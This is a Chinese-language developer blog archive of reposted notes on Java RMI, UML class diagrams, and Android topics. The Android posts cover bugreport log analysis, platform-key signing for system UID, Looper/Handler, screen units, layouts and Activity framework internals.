如果你看到了上面的输出,恭喜你,你成功了,你已经成功的创建了一个RMI系统,并且使他正确工作了。即使你运行在同一个计算机上,RMI还是使用了你的网络堆栈和TCP/IP去进行通讯,并且是运行在三个不同的Java虚拟机上。这已经是一个完整的RMI系统。

posted @ 2011-02-13 18:46 九宝 阅读(246) | 评论 (0)编辑 收藏

JavaBean PropertyChange 之设计模式Observer(转)

     摘要: java语言里包含了许多对设计模式的直接支持,如command模式,agent模式,observer模式等。虽然java提供的对这些模式的支持很简单,不能满足比较复杂的应用。但在简单的场景下,使用这些类往往能够得到立杆见影的效果。所以,如果没有什么特殊需求,还是最好利用java的这些类。         Observ...  阅读全文

posted @ 2011-02-13 18:26 九宝 阅读(917) | 评论 (0)编辑 收藏

(转)UML中类图实例

接口:空心圆+直线(唐老鸭类实现了‘讲人话’);
依赖:虚线+箭头(动物和空气的关系);
关联:实线+箭头(企鹅需要知道气候才迁移);
聚合:空心四边形+实线+箭头(雁群和大雁的关系);
合成/组合:实心四边形+实线+箭头(鸟和翅膀的关系);
泛化/
继承:空心三角形+实线(动物和鸟的继承关系);
实现:空心三角形+虚线(实现大雁飞翔的接口);
UML类图  
解释
UML类图:
1.       首先看“动物”矩形框,它代表一个类。该类图分为三层,第一层显示类的名称,如果是抽象类就要用斜体显示。第二层是类的特性,通常就是字段和属性。第三层是类的操作,通常是方法和行为。
   注意前面的符号,‘+’表示public, ‘ 表示private, ‘#’表示protected.   
                                           
2.       飞翔矩形框表示一个接口图,它与类图的区别主要是顶端有《interface》显示,第一行是接口名称,第二行是接口方法。接口还有另一种表示方法,俗称棒棒糖表示法,就是唐老鸭类实现了“讲人话”的接口。
              
interface IFly                              interface Ilanguage                              
{                                              {
   
void Fly();                                    void Speak();
}                                             }

3.       动物,鸟,鸭,唐老鸭他们之间都是继承的关系,继承关系用空心三角形+实现来表示   
                 

4.“大雁”实现了“飞翔”接口。实现接口用空心三角形+虚线来表示。(注:下面的图中应为空心三角形

class Bird:Animal                      class WideGoose:IFly
{                                        {
   
//继承动物类                                 //实现飞翔接口
}                                        }

5.       企鹅与气候有很大的关系,企鹅需要“知道”气候的变化,需要“了解”气候规律。当一个类“知道”另一个类时,可以用关联(association)关系。关联关系用实线箭头来表示  
     
class Penguin :Bird
{
   
private Climate climate;//在企鹅Penguin中,引用到气候Climate对象
}

6.       “大雁”和“雁群”这两个类。大雁是群居动物,每只大雁都属于一个雁群,一个雁群可以有多只大雁。所以它们之间就满足聚合(Aggregation)关系。聚合表示一种弱的“拥有”关系,体现的是A对象可以包含B对象,但B对象不是A对象的一部分。聚合关系用空心的菱形+ 实线箭头表示
    

class WideGooseAggregate
{
   
private WideGoose[] arrayWideGoose;
   
//在雁群WideGooseAggregate类中,有大雁数组对象arrayWideGoose
}

7.       “鸟”和“翅膀”这两个类。鸟和翅膀似整体和部分的关系,并且翅膀和鸟的生命周期是相同的,在这里鸟和其翅膀就是合成关系。合成(composition)是一种强的“拥有”关系,体现了严格的部分和整体的关系,部分和整体的生命周期一样合成关系用实心的的菱形+实线箭头来表示。另外,合成关系的连线两端还有一个数字“1”和数字“2”,,这被称为基数。表明这一端的类可以有几个实例,很显然,一个鸟应该有两支翅膀。如果一个类可能有无数个实例,则就用“n”来表示。关联关系,聚合关系也可以有基数的。
class Bird 
{
  
private Wing wing;
  
public Bird()
   {
      wing
=new Wing();
    
//在鸟Bird类中,初始化时,实例化翅膀Wing,它们之间同时生成
   }
}

8.       “动物”、“氧气”与“水”之间。动物有几大特征,比如有新陈代谢,能繁殖。而动物要有生命,需要氧气,水以及食物等。也就是说动物依赖于氧气和水。它们之间是依赖关系(Dependency),用虚线箭头来表示

abstract class Animal
{
   
public bolism(Oxygen oxygen,Water water)
    {
    } 
}

posted @ 2011-02-12 13:02 九宝 阅读(346) | 评论 (0)编辑 收藏

android register mimetype

在manifest文件里->activity 添加

<intent-filter>

     <action android:name="android.intent.action.VIEW" />

     <category android:name="android.intent.category.DEFAULT" />

     <data android:mimeType="*/*">

</intent-filter>

这样就把当前程序注册为 可以打开/查看所有类型的文件. 或者要查看jpeg, mimeType要改为: image/jpeg

当在文件管理器里点击任何文件, 系统都会试图去执行你的程序.

posted @ 2011-02-11 14:49 九宝 阅读(614) | 评论 (0)编辑 收藏

Android Log Analysis

转自 http://chaozhong84.spaces.live.com/blog/cns!FC149E9A3FC0182B!297.trak

【Android】【转】Android Log Analysis

---------------------------------------------------

本文原创,转载请注明出处,如有错误之处欢迎指出

---------------------------------------------------

Get Log from Android System

adb bugreport > bugreport.txt

copy bugreport to the current directory.

bugreport里面包含了各种log信息,大部分log也可以通过直接运行相关的程序来直接获得.

步骤如下:

1.adb shell 2.进入相关工具程式的目录 3.执行相关程式 4.得到相关信息

下面以输出进程信息为例 1.adb shell 2.输入ps -P 3.可以看到相关进程信息

Log Archive Analysis

1.bugreport

bugreport记录android启动过程的log,以及启动后的系统状态,包括进程列表,内存信息,VM信息等等到.

2.bugreport结构分析

(1)dumpstate

MEMORY INFO

获取该log:读取文件/proc/meminfo

系统内存使用状态

CPU INFO

获取该log:执行/system/bin/top -n 1 -d 1 -m 30 -t

系统CPU使用状态

PROCRANK

获取该log:执行/system/bin/procrank

执行/system/xbin/procrank后输出的结果,查看一些内存使用状态

VIRTUAL MEMORY STATS

获取该log:读取文件/proc/vmstat

虚拟内存分配情况

vmalloc申请的内存则位于vmalloc_start~vmalloc_end之间,与物理地址没有简单的转换关系,虽然在逻辑上它们也是连续的,但是在物理上它们不要求连续。

VMALLOC INFO

获取该log:读取文件/proc/vmallocinfo

虚拟内存分配情况

SLAB INFO

获取该log:读取文件/proc/slabinfo

SLAB是一种内存分配器.这里输出该分配器的一些信息

ZONEINFO

获取该log:读取文件/proc/zoneinfo

zone info

SYSTEM LOG(需要着重分析)

获取该log:执行/system/bin/logcat -v time -d *:v

会输出在程序中输出的Log,用于分析系统的当前状态

VM TRACES

获取该log:读取文件/data/anr/traces.txt

因为每个程序都是在各自的VM中运行的,这个Log是现实各自VM的一些traces

EVENT LOG TAGS

获取该log:读取文件/etc/event-log-tags

EVENT LOG

获取该log:执行/system/bin/logcat -b events -v time -d *:v

输出一些Event的log

RADIO LOG

获取该log:执行/system/bin/logcat -b radio -v time -d *:v

显示一些无线设备的链接状态,如GSM,PHONE,STK(Satellite Tool Kit)...

NETWORK STATE

获取该log:执行/system/bin/netcfg (得到网络链接状态)

获取该log:读取文件/proc/net/route (得到路由状态)

显示网络链接和路由

SYSTEM PROPERTIES

获取该log:参考代码实现

显示一些系统属性,如Version,Services,network...

KERNEL LOG

获取该log:执行/system/bin/dmesg

显示Android内核输出的Log

KERNEL WAKELOCKS

获取该log:读取文件/proc/wakelocks

内核对一些程式和服务唤醒和休眠的一些记录

KERNEL CPUFREQ

(Linux kernel CPUfreq subsystem) Clock scaling allows you to change the clock speed of the CPUs on the fly.

This is a nice method to save battery power, because the lower the clock speed is, the less power the CPU consumes.

PROCESSES

获取该log:执行ps -P

显示当前进程

PROCESSES AND THREADS

获取该log:执行ps -t -p -P

显示当前进程和线程

LIBRANK

获取该log:执行/system/xbin/librank

剔除不必要的library

BINDER FAILED TRANSACTION LOG

获取该log:读取文件/proc/binder/failed_transaction_log

BINDER TRANSACTION LOG

获取该log:读取文件/proc/binder/transaction_log

BINDER TRANSACTIONS

获取该log:读取文件/proc/binder/transactions

BINDER STATS

获取该log:读取文件/proc/binder/stats

BINDER PROCESS STATE

获取该log:读取文件/proc/binder/proc/*

bind相关的一些状态

FILESYSTEMS

获取该log:执行/system/bin/df

主要文件的一些容量使用状态(cache,sqlite,dev...)

PACKAGE SETTINGS

获取该log:读取文件/data/system/packages.xml

系统中package的一些状态(访问权限,路径...),类似Windows里面的一些lnk文件吧.

PACKAGE UID ERRORS

获取该log:读取文件/data/system/uiderrors.txt

错误信息

KERNEL LAST KMSG LOG

最新kernel message log

LAST RADIO LOG

最新radio log

KERNEL PANIC CONSOLE LOG

KERNEL PANIC THREADS LOG

控制台/线程的一些错误信息log

BACKLIGHTS

获取该log:获取LCD brightness读/sys/class/leds/lcd-backlight/brightness

获取该log:获取Button brightness读/sys/class/leds/button-backlight/brightness

获取该log:获取Keyboard brightness读/sys/class/leds/keyboard-backlight/brightness

获取该log:获取ALS mode读/sys/class/leds/lcd-backlight/als

获取该log:获取LCD driver registers读/sys/class/leds/lcd-backlight/registers

获取相关亮度的一些信息

(2)build.prop

VERSION INFO输出下列信息
当前时间
当前内核版本:可以读取文件(/proc/version)获得
显示当前命令:可以读取文件夹(/proc/cmdline)获得
显示系统build的一些属性:可以读取文件(/system/build.prop)获得
输出系统一些属性
gsm.version.ril-impl
gsm.version.baseband
gsm.imei
gsm.sim.operator.numeric
gsm.operator.alpha

(3)dumpsys

执行/system/bin/dumpsys后可以获得这个log.
经常会发现该log输出不完整,因为代码里面要求该工具最多只执行60ms,可能会导致log无法完全输出来.
可以通过修改时间参数来保证log完全输出.
信息:
Currently running services
DUMP OF SERVICE services-name(running)

Log Code Analysis

Site: ."frameworks"base"cmds"dumpstate"

相关Log程序的代码可以从上面目录获取

Log Analysis Experience

分析步骤

1.查看一些版本信息
确认问题的系统环境
2.查看CPU/MEMORY的使用状况
看是否有内存耗尽,CPU繁忙这样的背景情况出现.
3.分析traces
因为traces是系统出错以后输出的一些线程堆栈信息,可以很快定位到问题出在哪里. 
4.分析SYSTEM LOG
系统Log详细输出各种log,可以找出相关log进行逐一分析

实例分析

下面分析我写的一个测试例子,在OnCreate做一个死循环,这样主线程会被锁住,在按下硬件的Back之后会出现ANR的错误.
在traces中发现该程序的堆栈信息如下:

----- pid 20597 at 2010-03-15 01:29:53 -----
Cmd line: com.android.test
DALVIK THREADS:
"main" prio=5 tid=3 TIMED_WAIT
| group="main" sCount=1 dsCount=0 s=N obj=0x2aac6240 self=0xbda8
| sysTid=20597 nice=0 sched=0/0 cgrp=default handle=1877232296
at java.lang.VMThread.sleep(Native Method)
at java.lang.Thread.sleep(Thread.java:1306)
at java.lang.Thread.sleep(Thread.java:1286)
at android.os.SystemClock.sleep(SystemClock.java:114)
at com.android.test.main.onCreate(main.java:20)
at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1047)
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2459)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2512)
at android.app.ActivityThread.access$2200(ActivityThread.java:119)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1863)
at android.os.Handler.dispatchMessage(Handler.java:99)
at android.os.Looper.loop(Looper.java:123)
at android.app.ActivityThread.main(ActivityThread.java:4363)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:521)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:868)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:626)
at dalvik.system.NativeStart.main(Native Method)
"Binder Thread #2" prio=5 tid=11 NATIVE
| group="main" sCount=1 dsCount=0 s=N obj=0x2fb7c260 self=0x143860
| sysTid=20601 nice=0 sched=0/0 cgrp=default handle=1211376
at dalvik.system.NativeStart.run(Native Method)
"Binder Thread #1" prio=5 tid=9 NATIVE
| group="main" sCount=1 dsCount=0 s=N obj=0x2fb7c1a0 self=0x14c980
| sysTid=20600 nice=0 sched=0/0 cgrp=default handle=1207920
at dalvik.system.NativeStart.run(Native Method)
"Signal Catcher" daemon prio=5 tid=7 RUNNABLE
| group="system" sCount=0 dsCount=0 s=N obj=0x2fb7a1e8 self=0x126cc0
| sysTid=20599 nice=0 sched=0/0 cgrp=default handle=1269048
at dalvik.system.NativeStart.run(Native Method)
"HeapWorker" daemon prio=5 tid=5 VMWAIT
| group="system" sCount=1 dsCount=0 s=N obj=0x2e31daf0 self=0x135c08
| sysTid=20598 nice=0 sched=0/0 cgrp=default handle=1268528
at dalvik.system.NativeStart.run(Native Method)
----- end 20597 -----

该文件的堆栈结构从下往上进行分析
(1)栈底at dalvik.system.NativeStart.run(Native Method)
系统为当前的task(应用程式)启动一个专用的虚拟机 
(2) at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2459)
Activity Services是在后台负责管理Activity,它此时将测试例子的Activity启动起来了
(3)at com.android.test.main.onCreate(main.java:20)
启动测试程序
(4)栈顶at java.lang.VMThread.sleep(Native Method)
线程被sleep掉了,所以无法响应用户,出现ANR错误.

上面是对一个非常简单的问题的分析.

如果遇到比较复杂的问题还需要详细分析SYSTEM LOG.
1.比如网络异常,要通过SYSTEM LOG里面输出的网络链接信息来判断网络状态
2.数据传输,网络链接等耗时的操作需要分析SYSTEM LOG里面ActivityManager的响应时间

posted @ 2011-01-17 11:41 九宝 阅读(789) | 评论 (0)编辑 收藏

如何使Android应用程序获取系统权限【转】

转自:http://blog.csdn.net/liujian885/archive/2010/03/22/5404834.aspx

http://hi.baidu.com/donghaozheng/blog/item/30a00d4f9fca873baec3ab69.html

在 android 的API中有提供 SystemClock.setCurrentTimeMillis()函数来修改系统时间,可惜无论你怎么调用这个函数都是没用的,无论模拟器还是真机,在logcat中总会得到"Unable to open alarm driver: Permission denied ".这个函数需要root权限或者运行与系统进程中才可以用。

        本来以为就没有办法在应用程序这一层改系统时间了,后来在网上搜了好久,知道这个目的还是可以达到的。

        第一个方法简单点,不过需要在Android系统源码的环境下用make来编译:

        1. 在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性。

        2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform这一行

        3. 使用mm命令来编译,生成的apk就有修改系统时间的权限了。

        第二个方法麻烦点,不过不用开虚拟机跑到源码环境下用make来编译:

        1. 同上,加入android:sharedUserId="android.uid.system"这个属性。

        2. 使用eclipse编译出apk文件,但是这个apk文件是不能用的。

        3. 用压缩软件打开apk文件,删掉META-INF目录下的CERT.SF和CERT.RSA两个文件。

        4. 使用目标系统的platform密钥来重新给apk文件签名。这步比较麻烦,首先找到密钥文件,在我的Android源码目录中的位置是"build\target\product\security",下面的platform.pk8和platform.x509.pem两个文件。然后用Android提供的Signapk工具来签名,signapk的源代码是在"build\tools\signapk"下,用法为"signapk platform.x509.pem platform.pk8 input.apk output.apk",文件名最好使用绝对路径防止找不到,也可以修改源代码直接使用。

        这样最后得到的apk和第一个方法是一样的。

        最后解释一下原理,首先加入android:sharedUserId="android.uid.system"这个属性。通过Shared User id,拥有同一个User id的多个APK可以配置成运行在同一个进程中。那么把程序的UID配成android.uid.system,也就是要让程序运行在系统进程中,这样就有权限来修改系统时间了。

        只是加入UID还不够,如果这时候安装APK的话发现无法安装,提示签名不符,原因是程序想要运行在系统进程中还要有目标系统的platform key,就是上面第二个方法提到的platform.pk8和platform.x509.pem两个文件。用这两个key签名后apk才真正可以放入系统进程中。第一个方法中加入LOCAL_CERTIFICATE := platform其实就是用这两个key来签名。

        这也有一个问题,就是这样生成的程序只有在原始的Android系统或者是自己编译的系统中才可以用,因为这样的系统才可以拿到platform.pk8和platform.x509.pem两个文件。要是别家公司做的Android上连安装都安装不了。试试原始的Android中的key来签名,程序在模拟器上运行OK,不过放到G3上安装直接提示"Package ... has no signatures that match those in shared user android.uid.system",这样也是保护了系统的安全。

        最最后还说下,这个android:sharedUserId属性不只可以把apk放到系统进程中,也可以配置多个APK运行在一个进程中,这样可以共享数据,应该会很有用的。


博主补充:

signapk编译结束后在 android目录下/out/host/linux-x86/framework/signapk.jar
使用方法:java -jar signapk.jar platform.x509.pem platform.pk8 test.apk test_signed.apk
实践证明,第二种方法不需要删掉META-INF目录下的CERT.SF和CERT.RSA两个文件,直接signapk就可以。

posted @ 2010-12-20 16:06 九宝 阅读(337) | 评论 (0)编辑 收藏

Android Looper(转)

(1) Looper类别用来为一个线程开启一个消息循环。默认情况下Android中新诞生的线程是没有开启消息循环的。(主线程除外,主线程系统会自动为其创建Looper对象,开启消息循环)

Looper对象通过MessageQueue来存放消息和事件。一个线程只能有一个Looper,对应一个MessageQueue。

(2) 通常是通过Handler对象来与Looper交互的。Handler可看做是Looper的一个接口,用来向指定的Looper发送消息及定义处理方法。

默认情况下Handler会与其被定义时所在线程的Looper绑定,比如,在主线程中定义,其是与主线程的Looper绑定。

mainHandler = new Handler() 等价于new Handler(Looper.myLooper()).

Looper.myLooper():Return the Looper object associated with the current thread 获取当前进程的looper对象。

还有一个类似的 Looper.getMainLooper() 用于获取主线程的Looper对象。

(3) 在非主线程中直接new Handler() 会报如下的错误:

E/AndroidRuntime( 6173): Uncaught handler: thread Thread-8 exiting due to uncaught exception
E/AndroidRuntime( 6173): java.lang.RuntimeException: Can't create handler inside thread that has not called Looper.prepare()

原因是非主线程中默认没有创建Looper对象,需要先调用Looper.prepare()启用Looper。

(4) Looper.loop(); 让Looper开始工作,从消息队列里取消息,处理消息。

注意:写在Looper.loop()之后的代码不会被执行,这个函数内部应该是一个循环,当调用mHandler.getLooper().quit()后,loop才会中止,其后的代码才能得以运行。

(5) 基于以上知识,可实现主线程给子线程(非主线程)发送消息。

把下面例子中的mHandler声明成类成员,在主线程通过mHandler发送消息即可。

(6) Android官方文档中Looper的介绍:

Class used to run a message loop for a thread. Threads by default do not have a message loop associated with them; to create one, call prepare() in the thread that is to run the loop, and then loop() to have it process messages until the loop is stopped.

Most interaction with a message loop is through the Handler class.

This is a typical example of the implementation of a Looper thread, using the separation ofprepare() and loop() to create an initial Handler to communicate with the Looper.

class LooperThread extends Thread {
      public Handler mHandler;
      
      public void run() {
          Looper.prepare();
          
          mHandler = new Handler() {
              public void handleMessage(Message msg) {
                  // process incoming messages here
              }
          };
          
          Looper.loop();
      }
}

posted @ 2010-12-20 15:13 九宝 阅读(384) | 评论 (0)编辑 收藏

android : px dip(转)

px (pixels) 像素
dip (device independent pixels) 设备独立像素
sp (scaled pixels - best for text size ) 放大像素,对文本大小最好
pt (points) 点
in (inches) 英寸
mm (millimeters) 毫米

很多网友可能发现在Android的layout文件中layout_width或layout_height有时候可能会指定具体的单位,比如有时候为px、dip或者sp等等。下面android123把常见的单位做下简单的介绍,比如说

px (pixels)像素 -- 一般我们HVGA代表320x480像素,这个用的比较多。

dip或dp (device independent pixels)设备独立像素 -- 这个和设备硬件有关,一般我们为了支持WVGA、HVGA和QVGA cwj推荐使用这个,不依赖像素。

sp (scaled pixels — best for text size)放大像素-- 主要处理字体的大小。


 下面的几个是不常用的,大家也知道这里android123就不再过多的赘述。


in (inches)英寸

mm (millimeters)毫米  

pt (points)点


px像素如何转为dip设备独立像素

最近有网友问如何将px像素转为dip独立设备像素,由于Android的设备分辨率众多,目前主流的为wvga,而很多老的设备为hvga甚至低 端的qvga,对于兼容性来说使用dip无非是比较方便的,由于他和分辨率无关和屏幕的密度大小有关,所以推荐使用,不过这里android123提示大 家,ophone os的手机对于dip的支持糟糕透了,显示的结果会放大很多,同时黑色的主题会导致常规的黑色文字让用户无法分辨。

  px= (int) (dip*density+0.5f) //这里android开发网提示大家很多网友获取density的方法存在问题,从资源中获取的是静态定义的,一般为1.0对于HVGA是正好的,而对于wvga这样的应该从WindowsManager中获取,WVGA为1.5


QVGA HVGA WVGA区别

文章分类:移动开发

QVGA即"Quarter VGA"。顾名思义即VGA的四分之一尺寸,亦即在液晶屏幕(LCD)上输出的分辨率是240×320像素。QVGA支持屏幕旋转,可以开发出相应的程序,以显示旋转90°、180°、270°屏幕位置。由HandEra公司发布。多用于手持/移动设备。   需要说明的是有些媒体把QVGA屏幕当成与TFT和TFD等LCD材质相同的东西是错误的,QVGA屏幕的说法多见与日本的一些手机中,目前采用微软Pocket PC操作系统的智能手机屏幕也大多是320×240像素的QVGA屏幕。   所谓QVGA液晶技术,就是在液晶屏幕上输出的分辨率是240×320的液晶输出方式。这个分辨率其实和屏幕本身的大小并没有关系。比如说,如果2.1英寸液晶显示屏幕可以显示240×320分辨率的图像,就叫做“QVGA 2.1英寸液晶显示屏”;如果3.8英寸液晶显示屏幕可以显示240×320的图像,就叫做“QVGA 3.8英寸液晶显示屏”,以上两种情况虽然具有相同的分辨率,但是由于尺寸的不同实际的视觉效果也不同,一般 HVGA 即VGA(640*480)的一半,分辨率为(480*320),(3:2宽高比)   它是用于各种各样的PDA设备,首先是2002年的索尼Clie PEG - NR70, 来说屏幕小的一个画面自然也会细腻一些。 WVGA 数码产品屏幕材质的一种,VGA的另一种形式,比VGA分辨率高,别名 : Wide VGA, ,其分辩率为800×480象素。是扩大了VGA(640×480)的分辨率。应用于PDA和手机等,因为很多网页的宽度都是800,所以WVGA的屏幕会更加适和于浏览网页,可以说是未来手持设备的分辨率的大趋势

posted @ 2010-12-16 16:35 九宝 阅读(1153) | 评论 (0)编辑 收藏

drawable各个目录

drawable-hdpi(高分辨率)目录下
这个主要是为了支持多分辨率的.
hdpi里面主要放高分辨率的图片,如WVGA (480x800),FWVGA (480x854)
mdpi里面主要放中等分辨率的图片,如HVGA (320x480)
ldpi里面主要放低分辨率的图片,如QVGA (240x320)
系统会根据机器的分辨率来分别到这几个文件夹里面去找对应的图片

posted @ 2010-12-09 16:24 九宝 阅读(279) | 评论 (0)编辑 收藏

andorid padding margin


android:padding 属性允许你设置相同的4个方向的间距值,组件的内容在间距内的中间。如果你要四个不同数值的间距值,,可以分别使用 android:paddingLeft,android:paddingRight,android:paddingTop和 android:paddingBottom。间距值是一个具体的数值,如果要5像素,则可以对应填写”5px”.
如 果你应用组件的默认背景(例如,通过android:backgound属性),背景将会同时显示在间距和组件上。为了避免这种情况,用 padding,还不如用margin,这可以只增加空白的空间,并不会撑大组件。你可以通过android:layoout_margin属性来实现。
例如:<com.android.motoswitch.HandleView
            style="@style/HotseatButton"
            android:id="@+id/all_apps_button"
            android:layout_centerHorizontal="true"
            android:layout_alignParentBottom="true"
            android:src="@drawable/all_apps_button"
            switcher:direction="horizontal"
            />

posted @ 2010-12-08 15:38 九宝 阅读(395) | 评论 (0)编辑 收藏

(转) Android核心分析(22)-----Android应用框架之Activit

Android核心分析(22)-----Android应用框架之Activity 收藏

From  http://blog.csdn.net/maxleng/archive/2010/05/24/5621349.aspx

3 Activity设计框架

3.1 外特性空间的Activity

    我们先来看看,Android应用开发人员接触的外特性空间中的Activity,对于AMS来讲,这个Activity就是客服端的Activity。应用程序员在建立Android应用时,构建Activity的子类就是Andoid外特性空间展现的接口。我们可以从下面的简单的例子描述看看Activity,到底如何建立的。

DemoActivity extend Activity

{

     onCreate

    onResume

    onPause

    onStop

}

    在Android的外特性空间(SDK)中,Android应用程序员根本不知道进程是什么时候起来的,系统消息是如何传递过来的。这个DemoActivity是如何实例化的呢?并且该Activity是托管在哪个进程的呢?本节的分析将给出答案。

我们从ActivityThread中可以看到在应用进程中的Activity都被放置在mActivities中。

image_thumb3

    这些ActivityRecord记录了应用进程中,程序员建立的Activity子类的实例,我们称之为外特性空间的Activity。这些Activity类实例是放在应用程序端进行实际交互的Activity,而为了管理这些Activity,AMS内核中还有一个影子Activity,被称为HistoryRecord。

3.2 Activity与HistoryRecord的关系

     在整个系统中,Activity实际上有两个实体。一个在应用进程中跟应用程序员打交道的Activity,一个是在AMS的中具有管理功能的History Record。应用进程中的Activity都登记ActivityThread实例中的mActivity数组中,而在AM端,HistroytRecord实例放置在mHistroy栈中。mHistory栈是Android管理Activity的场所,放置在栈顶的就是User看到的处于活动状态的Activity。

Activity与HistrotyRecord的关系图可以表示如下:

image_thumb6

       Activity的内核实体是依靠在ProcessRecord的成员变量中,通过ProcessRecord我们可以访问到所有的属于该Process的Activity。而在ProcessRecord记录了与应用进程之间的联系:IActivtityThread接口。通过该接口,可以访问到所对应的Activity的方法。在Launch Activity时,AMS将对应的HistoryRecord作为token传递到客服端和客服端的Activity建立联系。在AMS中Activity状态变化时,将通过该联系找到客服端的Activity,从而将消息或者动作传递应用程序面对的接口:xxxActivity。

3.3 Actvity的Launch过程

1)发起请求startActivity(intent)

2)Activity Service Manager接收到请求执行StartActivity函数。

      建立:HistoryRecord实例r.

      将r 加入到mHistory顶。

(3)通过app.thread.scheduleLaunchActvity( app,r)@ActivityThread.java

(4)在App应用中建立新的ActivityRecord。

(5)建立新的Activity对象并放入到ActivityRecord中。

(6)将ActivityRecord加入到mActivites@ActivityThread

(7)发起Activity.onCreate(..),,该onCreate就是在你的应用程序XXXActivity中的onCreate。

  image_thumb10

3.4 Activity的Resume

(1)Activity什么时候被Resume

image_thumb13

(2)Rusume的过程

    通过该过程的研究我们会进一步的了解到AMS与应用进程的交互过程。

在AMS端,满足resume条件都会调用:Resume的核心函数:resumeTopActivityLocked@ActivityManagerService

XXX当前栈顶的HistroyRecord

1)窗口切换:隐藏前一个Activity的窗口,

2)更新LRUList,(LRUList是淘汰应用程序的依据之一)

3) XXX.app.thread.scheduleResumeActivity(XXX,

                        isNextTransitionForward());

4)completeResumeLocked

     setFocusedActivityLocked

        mFocusActivity=xxx  //此时焦点Actvitiy切换了。

       WM.setFocusedApp(xxx,

       mWindowManager.executeAppTransition();

       mNoAnimActivities.clear();

在应用程序端:

(5)scheduleResumeActivity

handleResumeActivity(IBinder token, boolean clearHide, boolean isForward) {

ActivityRecord r = performResumeActivity(token, clearHide);

     ActivityRecord r = mActivities.get(token);

     r.activity.performResume()

              performResume

整个Resume的过程如下:

image_thumb16

posted @ 2010-09-25 15:39 九宝 阅读(325) | 评论 (0)编辑 收藏

(转)Android核心分析(21)----Android应用框架之AndroidApplication

From  http://blog.csdn.net/maxleng/archive/2010/05/24/5621345.aspx

Android Application

    Android提供给开发程序员的概念空间中Application只是一个松散的表征概念,没有多少实质上的表征。在Android实际空间中看不到实际意义上的应用程序的概念,即使有一个叫Application的类,这个也就是个应用程序上下文状态,是一个极度弱化的概念。Application只是一个空间范畴的概念,Application就是Activity,Service之类的组件上下文描述。Application并不是Android的核心概念,而Activity才是Android的核心概念。

    从Android的SDK文档中,我们知道一般情况Android应用程序是由以下四种组件构造而成的:Activity,Broadcast Intent Receiver,服务(Service),内容提供器(Content Provider)。我们可以使用下面的图来表示一下Android的概念空间。这些组件依附于应用程序中,应用程序并不会一开始就建立起来,而是在这些组件建立起来后,需要运行时,才开始建立应用程序对象。

image

2.1应用进程名称

    为什么要从应用进程名称开始?作为内核研究,我们还是回到问题的最本质处:不管Activity,Service等组件如何设计和运行,它要提供服务,就必须要依附在Linux的进程上,建立消息循环,组件才能够真正的运作。Activity实例是如何Hosting在Linux进程上的?这个是我们首先想要弄明白的。

我们在项目中看到android:process="string"这个定义。

allowClearUserData=["true" | "false"] 
android:
allowTaskReparenting=["true" | "false"] 
android:
backupAgent="string" 

android:label="string resource" 
android:
manageSpaceActivity="string" 
android:
name="string" 
android:
permission="string" 
android:
persistent=["true" | "false"] 
android:
process="string" 
android:
restoreAnyVersion=["true" | "false"] 
android:
taskAffinity="string" 
android:
theme="resource or theme" > 
    . . . 

在SDK用已经描述的很清楚到了。

android:process

The name of a process where all components of the application should run. Each component can override this default by setting its own process attribute.

By default, Android creates a process for an application when the first of its components needs to run. All components then run in that process. The name of the default process matches the package name set by the element.

By setting this attribute to a process name that's shared with another application, you can arrange for components of both applications to run in the same process — but only if the two applications also share a user ID and be signed with the same certificate.

为什么要提出这么一个定义?android:process名称。

    默认状态下,Activity Manager Service在应用程序的第一个组件需要运行时将会为应用程序建立一个进程,而这个进程的名字就是android:process=”string”所指定,缺省的是应用程序包的名字。该进程一旦建立,后面的该应用的组件都将运行在该进程中,他们绑定的根据就是这个Android:Process指定的名称,因为在他们都在同一个应用程序包里,也就具有了同样的进程名字,于是他们都托管在了同一进程中。组件将通过ClassLoader从Package中获取到应用程序的信息。

    在建立Actvitiy时,如果在应用进程端没有应用对象,系统在该过程中利用makeApplication建立一个Application对象,实例化"android.app.Application",建立一个应用程序上下文完成例如资源,package等信息管理。

2.2  ActivityThread运行框架

    在分析中,我们可以看到真正对应应用进程的不是Application而是ActivityThread。我们从实际的应用堆栈可以看到:

NaiveStart.main()

        ZygoteInit.main

           ZygoteInit$MethodAndArgsCall.run

              Method.Invoke

                                       method.invokeNative

                     ActivityThread.main()

                         Looper.loop()

                                                                 ....

    每个应用程序都以ActivityThread.main()为入口进入到消息循环处理。对于一个进程来讲,我们需要这个闭合的处理框架。

image

    ActivitiyThread是应用程序概念空间的重要概念,他建立了应用进程运行的框架,并提供了一个IActivityThread接口作为与Activity Manager Service的通讯接口.通过该接口AMS可以将Activity的状态变化传递到客户端的Activity对象。

2.3 ActivitiyThread的建立

为了叙述的方便我将Actvitiy Manager Service简写成AMS。

    在AMS中关于应用程序的概念是ProcessRecord,请求都是从Activity,Service…等开始的,在Activity需要Resume时,此时如果与Activity相关的应用进程没有起来,AM则启动应用进程。

AMS与应用进程的绑定分为两个部分,第一部分就是AM建立应用进程,第二部分就是应用进程Attach到AM,与AM建立通讯通道。

1)创建建立进程:startProcessLocked(processName,Appinfo.uid)。该函数在StartSecificActivityLocked等调用。

(1)建立ProcessRecord对象app,并将该对象添加到mProcessNames中。应用对象在mProcessNames中使用应用名字和uid来标识自己。如果在同一个Package中的Activity,如果都使用默认设置,那么这些Activity都会托管在同一个进程中,这是因为他们在带的ApplicationInfo中的ProcessName都是一样的。

image 

image

mPidsSelfLocked数组记录了PID,这个将会在应用进程跑起来后,将自己Attach到AM时,根据pid找到自己的前世:ProcessRecord.

2)android.app.ActivityThread进程启动

     Android.app.ActivityThread进程建立后,将跳入到ActivityThread的main函数开始运行,进入消息循环。image

    应用进程使用thread.attach()发起AMS的AttachApplicationLocked调用,并传递 ActvitiyThread对象和CallingPid。AttachApplicationLocked将根据CallingPid在mPidsSelfLocked找到对应的ProcessRecord实例app,将ActvitiyThread放置app.thread中。这样应用进程和AMS建立起来双向连接。AM可以使用AIDL接口,通过app.thread可以访问应用进程的对象。

